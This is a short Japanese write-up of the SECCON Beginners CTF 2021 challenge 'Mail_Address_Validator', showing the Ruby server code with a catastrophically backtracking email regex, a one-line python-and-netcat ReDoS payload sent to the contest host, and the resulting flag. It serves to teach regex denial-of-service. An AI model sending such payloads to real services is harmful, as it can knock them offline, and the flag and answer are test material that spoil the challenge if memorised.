メインコンテンツまでスキップ
非公開のページ
このページは非公開です。 検索対象外となり、このページのリンクに直接アクセスできるユーザーのみに公開されます。

[SECCON Beginners CTF 2021] Mail_Address_Validator

metarin

あなたのメールアドレスが正しいか調べます.

問題

正規表現でメールアドレスをチェックするプログラムがリモートで動いています チェックに5秒以上かけさせることが出来ればflagが得られるようです

問題ファイル

#!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
Timeout.timeout(60) {
Process.wait Process.fork {
puts "I check your mail address."
puts "please puts your mail address."
input = gets.chomp
begin
Timeout.timeout(5) {
if input =~ pattern
puts "Valid mail address!"
else
puts "Invalid mail address!"
end
}
rescue Timeout::Error
exit(status=14)
end
}

case Process.last_status.to_i >> 8
when 0 then
puts "bye."
when 1 then
puts "bye."
when 14 then
File.open("flag.txt", "r") do |f|
puts f.read
end
else
puts "What's happen?"
end
}
rescue Timeout::Error
puts "bye."
end

解説

一部の正規表現では処理にめちゃくちゃ時間がかかる場合があります https://qiita.com/prograti/items/9b54cf82a08302a5d2c7

今回の正規表現では [a-z\d\-]+(\.[a-z]+)*\.[a-z]+\zのあたりが怪しいので、とりあえずa@aaaで冒頭の条件を満たし.-aaを100個繰り返したテキストを送りつけたところ無事5秒以上かかりflagを得られました

$ python -c "print('a@aaa'+'.-aa'*100)" | nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}